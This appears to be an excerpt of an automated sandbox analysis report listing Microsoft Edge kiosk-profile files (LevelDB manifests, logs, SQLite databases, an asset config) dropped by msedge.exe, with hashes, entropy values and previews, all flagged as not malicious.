SHA-512:	23C49CFE34CFDD803CE00F8B44E67F2E4E71145B9A1A334E199BA2963F1E15BD79E7E70091C42288FA41D9A1AD73A8412F5918C2BC52C39F74FD15E30F314ABB
Malicious:	false
Preview:	.........................................7\|_../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EdgeCoupons\coupons_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EdgeCoupons\coupons_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EdgeCoupons\coupons_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EdgeCoupons\coupons_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EdgeEDrop\EdgeEDropSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 14, database pages 8, cookie 0xe, schema 4, UTF-8, version-valid-for 14
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.494709561094235
Encrypted:	false
SSDEEP:	24:TLEC30OIcqIn2o0FUFlA2cs0US5S693Xlej2:ThLaJUnAg0UB6I
MD5:	CF7760533536E2AF66EA68BC3561B74D
SHA1:	E991DE2EA8F42AE7E0A96A3B3B8AF87A689C8CCD
SHA-256:	E1F183FAE5652BA52F5363A7E28BF62B53E7781314C9AB76B5708AF9918BE066
SHA-512:	38B15FE7503F6DFF9D39BC74AA0150A7FF038029F973BE9A37456CDE6807BCBDEAB06E624331C8DFDABE95A5973B0EE26A391DB2587E614A37ADD50046470162
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...i............t...c................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5094712832659277
Encrypted:	false
SSDEEP:	12:TLW4QpRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7me5q4iZ7dV:TLqpR+DDNzWjJ0npnyXKUO8+j25XmL
MD5:	D4971855DD087E30FC14DF1535B556B9
SHA1:	9E00DEFC7E54C75163273184837B9D0263AA528C
SHA-256:	EC7414FF1DB052E8E0E359801F863969866F19228F3D5C64F632D991C923F0D2
SHA-512:	ACA411D7819B03EF9C9ACA292D91B1258238DF229B4E165A032DB645E66BFE1148FF3DCFDAC3126FCD34DBD0892F420148E280D9716C63AD9FCDD9E7CA58D71D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354164326146216
Encrypted:	false
SSDEEP:	6144:EA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:EFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	2A109B04607D090639F952D68EC737C2
SHA1:	C0801949EA4E748F6DD2C6EABC78805F03A0827B
SHA-256:	D1B2CFC3721256AAC43CAF1E39040C3EA69CCE33740DF870B8BF03683DF13410
SHA-512:	6641FEFD41A196965EADC87F0CD0C65B91A04C99259C83EC15D706C4A45BF134631697F50FE1C40C389D24ADC488E02904456F7A20376AB70830ECDF3BCF5AED
Malicious:	false
Preview:	...m.................DB_VERSION.1....q...............&QUERY_TIMESTAMP:domains_config_gz2...13369620618240697..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.21225012683415
Encrypted:	false
SSDEEP:	6:7f81923oH+Tcwtj2WwnvB2KLldFnDVq2P923oH+Tcwtj2WwnvIFUv:7fxYebjxwnvFLjLv4YebjxwnQFUv
MD5:	9C50572A64FD467224070456BFB468B1
SHA1:	875DE23F726E1C6A9AB15E0608700D8D494268BF
SHA-256:	B1D6D82BB82A2CF3E0D689ABE444B7155759143022E86E955D85BAFF2EE346B8
SHA-512:	15D8E4706DE7C84ECD9233C8F1C87546084A546F53B90F65FE3A536C524889CC53956CFB38D3CC00C9BDFEF2C616848629AAA47689F9F28673FDE34FF0BE6628
Malicious:	false
Preview:	2024/08/31-19:30:17.346 14e0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EntityExtractionAssetStore.db since it was missing..2024/08/31-19:30:17.375 14e0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324611718992185
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RG:C1gAg1zfv+
MD5:	9EB6A6153D67F13226B414CA74D3B183
SHA1:	2DFBB1304DC535627AF997B594D162A537A54735
SHA-256:	74F01CACEF706C27B862EE44D0960CB4A1AA30BA192817815EAD236B9F504D7A
SHA-512:	A7F0CA2C1C88353E6E502A557E5FB9D353BA3077125FC76259434C56ADC42C3179A2E0FE6AEB2D69B44F73136C3DD2FC752CB030E09D919EA4D2E0521A8455D5
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Rules\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	171
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlX:qTCTCTCTCTCTCTCTCT
MD5:	E952942B492DB39A75DD2669B98EBE74
SHA1:	F6C4DEF325DCA0DFEC01759D7D8610837A370176
SHA-256:	14F92B911F9FE774720461EEC5BB4761AE6BFC9445C67E30BF624A8694B4B1DA
SHA-512:	9193E7BBE7EB633367B39513B48EFED11FD457DCED070A8708F8572D0AB248CBFF37254599A6BFB469637E0DCCBCD986347C6B6075C06FAE2AF08387B560DEA0
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Rules\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.1586345197124475
Encrypted:	false
SSDEEP:	6:7FM1923oH+TcwttaVdg2KLld2YVq2P923oH+TcwttaPrqIFUv:7FhYebDLjJv4Yeb83FUv
MD5:	81CEF3EC4A1467F878A36372F9A81C15
SHA1:	E76F6F368B2237E19466AA9AA80B421ECCF00CAD
SHA-256:	6E2AB47CDF33E9D5434AD4215B984A0DE52C934A5F0B9B49FFD2B791653C6A8E
SHA-512:	C18565259ADFDAF3209D8E22408EAA2C12C1525DF9F3F73E2070DC462D30EB8F4AE9D6B71121A856DDB0550FCA467296463146EB9EAB8A3F301C4FE1A768FB3D
Malicious:	false
Preview:	2024/08/31-19:30:13.214 14c4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Rules since it was missing..2024/08/31-19:30:13.418 14c4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Rules/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Rules\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Scripts\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	171
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlX:qTCTCTCTCTCTCTCTCT
MD5:	E952942B492DB39A75DD2669B98EBE74
SHA1:	F6C4DEF325DCA0DFEC01759D7D8610837A370176
SHA-256:	14F92B911F9FE774720461EEC5BB4761AE6BFC9445C67E30BF624A8694B4B1DA
SHA-512:	9193E7BBE7EB633367B39513B48EFED11FD457DCED070A8708F8572D0AB248CBFF37254599A6BFB469637E0DCCBCD986347C6B6075C06FAE2AF08387B560DEA0
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Scripts\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.144781069752957
Encrypted:	false
SSDEEP:	6:7tCoM1923oH+Tcwtt6FB2KLldaVq2P923oH+Tcwtt65IFUv:7t9hYeb8FFLjmv4Yeb8WFUv
MD5:	E869C76B066CA66DD6FC9D55DC7199FA
SHA1:	10376495179883BCADE58CC71765528F6CBFB553
SHA-256:	8263018C5864A291C53D3471C53D82EF73B58946F9F6FBE4A69EAEDCB9B3E168
SHA-512:	88A0F443031CE95FDA1B7E1D736144FC036EB7BAEF6EE057BA1E0CA796980B973936F70D8D72311A63E2BEFD7C96284496C3657D6043E81C6161856A458EEB33
Malicious:	false
Preview:	2024/08/31-19:30:13.421 14c4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Scripts since it was missing..2024/08/31-19:30:13.433 14c4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Scripts/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Scripts\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension State\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	513
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWWWWWWW
MD5:	C92EABB217D45C77F8D52725AD3758F0
SHA1:	43B422AC002BB445E2E9B2C27D74C27CD70C9975
SHA-256:	388C5C95F0F54F32B499C03A37AABFA5E0A31030EC70D0956A239942544B0EEA
SHA-512:	DFD5D1C614F0EBFF97F354DFC23266655C336B9B7112781D7579057814B4503D4B63AB1263258BDA3358E5EE9457429C1A2451B22261A1F1E2D8657F31240D3C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension State\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.130621175504416
Encrypted:	false
SSDEEP:	6:7AXFh1923oH+TcwttYg2KLldAF34q2P923oH+TcwttNIFUv:7A1sYebJLjAOv4Yeb0FUv
MD5:	632F89EE03DB078189AA23B6CBABF96F
SHA1:	20EFD34EE5D2F5FE2A33B84BA654333980437B68
SHA-256:	606F73CFD046FADB13A833DDACE2BD84929C1BB90F2C1AA0DB0B8FBCE58A5F2D
SHA-512:	BF949A690D94757CD11A4CDDAFE5CA65BCAA06198318CED4DDF994C4FC4567F8B09D2B2469DD0C4BFB105F7CEDAECEE6921738413CFCDC4148DDE8D848C8C1B5
Malicious:	false
Preview:	2024/08/31-19:30:14.093 1980 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension State since it was missing..2024/08/31-19:30:14.110 1980 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension State/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension State\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\ExtensionActivityComp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 1, cookie 0x1, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.3169096321222068
Encrypted:	false
SSDEEP:	3:lSWbNFl/sl+ltl4ltllOl83/XWEEabIDWzdWuAzTgdWj3FtFIU:l9bNFlEs1ok8fDEPDadUTgd81Z
MD5:	2554AD7847B0D04963FDAE908DB81074
SHA1:	F84ABD8D05D7B0DFB693485614ECF5204989B74A
SHA-256:	F6EF01E679B9096A7D8A0BD8151422543B51E65142119A9F3271F25F966E6C42
SHA-512:	13009172518387D77A67BBF86719527077BE9534D90CB06E7F34E1CCE7C40B49A185D892EE859A8BAFB69D5EBB6D667831A0FAFBA28AC1F44570C8B68F8C90A4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\ExtensionActivityEdge

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
